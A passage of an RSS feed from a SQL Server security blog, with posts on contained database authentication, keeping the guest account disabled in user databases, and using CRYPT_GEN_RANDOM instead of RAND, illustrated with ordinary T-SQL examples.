&lt;p class="MsoNormal"&gt;&lt;span style="line-height: 115%; font-family: Consolas;"&gt;&lt;span style="font-size: small;"&gt;ON &lt;span style="color: teal;"&gt;es&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;authenticating_database_id&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: teal;"&gt;db&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;database_id&lt;/span&gt; &lt;span style="color: gray;"&gt;AND&lt;/span&gt; &lt;span style="color: teal;"&gt;es&lt;/span&gt;&lt;span style="color: gray;"&gt;.&lt;/span&gt;&lt;span style="color: teal;"&gt;authenticating_database_id&lt;/span&gt; &lt;span style="color: gray;"&gt;&amp;gt;&lt;/span&gt; 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpFirst"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-family: Verdana;"&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/1425.4.jpg" border="0" /&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpLast"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;Note, that &lt;i style="mso-bidi-font-style: normal;"&gt;Authenticating DatabaseId&lt;/i&gt; in the &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: green; font-size: 9.5pt;"&gt;sys&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: gray; font-size: 9.5pt;"&gt;.&lt;/span&gt;&lt;span style="line-height: 115%; font-family: Consolas; color: green; font-size: 9.5pt;"&gt;dm_exec_sessions &lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;DMV is the Id of the database where the user was authenticated. For Server level authentication this is always master (Id = 1).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;Read more about database authentication in further posts and in &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ff929071(v=SQL.110).aspx"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;Books Online&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: verdana,geneva;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt; &lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10100240" width="1" height="1"&gt;</description></item><item><title>Contained Database Authentication: Introduction</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/03/contained-database-authentication-introduction.aspx</link><pubDate>Fri, 03 Dec 2010 03:45:42 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10099821</guid><dc:creator>Lyudmila Fokina</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10099821</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/03/contained-database-authentication-introduction.aspx#comments</comments><description>&lt;p class="MsoNormal"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;In &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6a04f16f-f6be-4f92-9c92-f7e5677d91f9&amp;amp;displaylang=en"&gt;&lt;span style="mso-fareast-language: ZH-CN;"&gt;&lt;span style="font-family: Calibri; color: #0000ff; font-size: small;"&gt;Microsoft SQL Server code-name &amp;ldquo;Denali&amp;rdquo; Community Technology Preview 1 (CTP1)&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="mso-fareast-language: ZH-CN;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt; we introduced the &lt;i style="mso-bidi-font-style: normal;"&gt;Contained Database (CDB)&lt;/i&gt; feature.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;As the name suggests, self-contained database have&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 115%; font-size: 10pt;"&gt; &lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;no external dependencies. Contained databases can therefore be easily moved to another server and start working instantly without the need of any additional configuration.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;One of the key features of a CDB is the ability to remove the reliance upon logins so that the database will become more portable.&amp;nbsp;As a result the concept of &lt;i style="mso-bidi-font-style: normal;"&gt;Contained Users&lt;/i&gt; is introduced in SQL Server &amp;ldquo;Denali&amp;rdquo;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;A contained user is a user without a login in the master database which resides in a Contained Database and can connect to this database specifying its credentials in the connection string. For SQL Server Authentication Users, this implies that the password will have to be provided when such users are created; Windows Authentication Users can be created the same way they are traditionally created:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;-- A member of the sysadmin fixed server role must explicitly enable&lt;/span&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt; contained database authentication on the instance of SQL Server&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: maroon; font-size: 9.5pt;"&gt;sp_configure&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: red;"&gt;'show advanced'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;RECONFIGURE WITH OVERRIDE;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: maroon; font-size: 9.5pt;"&gt;sp_configure&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: red;"&gt;'contained database authentication'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;RECONFIGURE WITH OVERRIDE;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;-- To create contained db you have to specify CONTAINMENT property&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;CREATE&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: blue;"&gt;DATABASE&lt;/span&gt; &lt;span style="color: teal;"&gt;db_Contained&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: teal; font-size: 9.5pt;"&gt;CONTAINMENT&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;PARTIAL;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;USE&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: teal;"&gt;db_Contained;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;-- Create a contained SQL Server Authentication user&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;CREATE&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: fuchsia;"&gt;USER&lt;/span&gt; &lt;span style="color: teal;"&gt;usr_Contained&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;WITH&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: blue;"&gt;PASSWORD&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'LJDUT9!@$';&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;go&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;-- Create a Windows Authentication user&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: green; font-size: 9.5pt;"&gt;&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;CREATE&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: fuchsia;"&gt;USER&lt;/span&gt; &lt;span style="color: teal;"&gt;[DOMAIN\User_01];&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: black; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;User that resides entirely within a database is considered &lt;span class="parameter"&gt;contained&lt;/span&gt;. Such user can only connect to the database where&amp;nbsp;they have&amp;nbsp;been created, cannot change database and has virtually no permissions outside of this database.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="color: black; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Note, that a Windows Authentication user created above could be contained or not-contained depending on the existence of a corresponding login DOMAIN\User_01. If the login exists, the newly created user is not contained and can go outside of the contained database where he may have some permissions associated to the corresponding login. If such a login doesn&amp;rsquo;t exist, the user is contained, has virtually no permissions outside of the database, and can only connect to the database where he resides. Therefore, a Windows Authentication user can change its containment behavior when a Windows Authentication login is created or dropped or when the database is moved to another instance of SQL Server where, again, such a login may or may not exist. However, typically it shouldn&amp;rsquo;t affect the application&amp;rsquo;s behavior because inside the database the user will possess the same permissions independently of its containment status. How a user connects and whether they get a full login or just a contained login will be covered in future post.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;To connect with contained database user credentials you have to specify the contained database in the connection string. If no database is specified, the connection will attempt traditional authentication as a login in the master database.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;o:p&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/1374.CDB_5F00_1.jpg" border="0" /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;o:p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;Read more about database authentication in further posts.&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;
&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10099821" width="1" height="1"&gt;</description></item><item><title>Guest account in User Databases</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/09/24/guest-account-in-user-databases.aspx</link><pubDate>Fri, 24 Sep 2010 21:13:02 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10067546</guid><dc:creator>Jack Richins</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10067546</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/09/24/guest-account-in-user-databases.aspx#comments</comments><description>&lt;p&gt;Andreas Wolter recently posted yet another reason to &lt;a href="http://www.vb-magazin.de/forums/blogs/andreaswolter/archive/2010/09/24/security-issue-developer-with-dbo-db-owner-role-can-use-guest-to-connect-to-other-databases.aspx"&gt;keep guest disabled on user databases&lt;/a&gt; in SQL Server. He also points out some reasons why developers shouldn’t have access to production systems, but I’d like to focus on the implications for guest. As Andreas summarizes at the end of his post, &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;b&gt;“never use the guest account for data that is not really supposed for &lt;u&gt;everyone&lt;/u&gt;&lt;/b&gt;&lt;b&gt;.”&lt;/b&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Absolutely agree! Guest is disabled by default in all user databases and should remain so – guest really does mean everyone. There is no way to keep someone that has access to SQL Server from leveraging an enabled guest account – that is how guest is designed to work. No planned changes will alter this guidance. If you need broad access to a database but with some exceptions, it is preferable to use Windows group accounts with broad membership to provide that access and then deny as needed. For SQL authenticated users, explicitly provision the individual logins which need access.&lt;/p&gt;  &lt;p&gt;I should also point out that guest is needed for the proper functioning of some of our &lt;em&gt;system&lt;/em&gt; databases – such as tempdb. But here the situation is that &lt;em&gt;everyone &lt;/em&gt;on the SQL Server instance really does need access to this database for temporary objects. See Buck Woody’s post &lt;a href="http://sqlblog.com/blogs/buck_woody/archive/2010/08/02/don-t-mess-with-the-system-databases-in-sql-server-or-error-916.aspx"&gt;Don’t mess with the system databases in SQL Server, or Error: 916&lt;/a&gt; for more information.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10067546" width="1" height="1"&gt;</description></item><item><title>rand vs. crypt_gen_random</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/09/09/rand-vs-crypt-gen-random.aspx</link><pubDate>Fri, 10 Sep 2010 02:42:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10060107</guid><dc:creator>Raul Garcia - MS</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10060107</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/09/09/rand-vs-crypt-gen-random.aspx#comments</comments><description>&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Consolas;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Many applications need to generate random data, and in order to help in this task they typically rely on pseudorandom number generators (PRNG). Typical PRNGs are deterministic in nature and therefore they are not cryptographically suitable, this is the case of the built-in RAND (&lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms177610.aspx"&gt;&lt;span style="font-family: Consolas; color: #0000ff; font-size: small;"&gt;http://msdn.microsoft.com/en-us/library/ms177610.aspx)&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt; in SQL Server.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Consolas;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;If your T-SQL application needs to use a cryptographically secure PRNG (CSPRNG), an alternative is to use CRYPT_GEN_RANDOM (&lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/cc627408.aspx"&gt;&lt;span style="font-family: Consolas; color: #0000ff; font-size: small;"&gt;http://msdn.microsoft.com/en-us/library/cc627408.aspx)&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;. As the documentation online suggests, this builtin is pretty much a T-SQL wrapper around the Crypto API (CAPI) function CryptGenRandom (&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa379942.aspx"&gt;&lt;span style="font-family: Consolas; color: #0000ff; font-size: small;"&gt;http://msdn.microsoft.com/en-us/library/aa379942.aspx)&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt; using the Microsoft CSP.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Consolas;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Since CRYPT_GEN_RANDOM return value is a varbinary it can easily be consumed as such (binary data) or converted to any T-SQL data type compatible with such conversion, such as int and bigint, for example:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: courier new,courier;"&gt;SELECT crypt_gen_random(4)&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: courier new,courier;"&gt;SELECT convert( int, crypt_gen_random(4)) SELECT convert( bigint, crypt_gen_random(8))&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Consolas;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;For more detailed information on how the CryptGenRandom works, please see the remarks section on the CryptGenRandom documentation online at: &lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa379942(VS.85).aspx"&gt;&lt;span style="font-family: Consolas; color: #0000ff; font-size: small;"&gt;http://msdn.microsoft.com/en-us/library/aa379942(VS.85).aspx&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Consolas; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoPlainText" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Consolas;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;NOTE: A quick word of warning when converting to some data types such as varchar or nvarchar, the output may contain invalid (or unprintable) characters.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10060107" width="1" height="1"&gt;</description></item><item><title>Security Checklists on TechNet Wiki</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/07/26/security-checklists-on-technet-wiki.aspx</link><pubDate>Mon, 26 Jul 2010 20:34:05 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10042730</guid><dc:creator>Jack Richins</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10042730</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/07/26/security-checklists-on-technet-wiki.aspx#comments</comments><description>&lt;p&gt;Rick Byham, our wonderful technical writer, just posted some checklists you may find useful on the &lt;a href="http://social.technet.microsoft.com/wiki/"&gt;TechNet Wiki&lt;/a&gt;. You can search the wiki for&amp;nbsp;word &lt;strong&gt;checklist 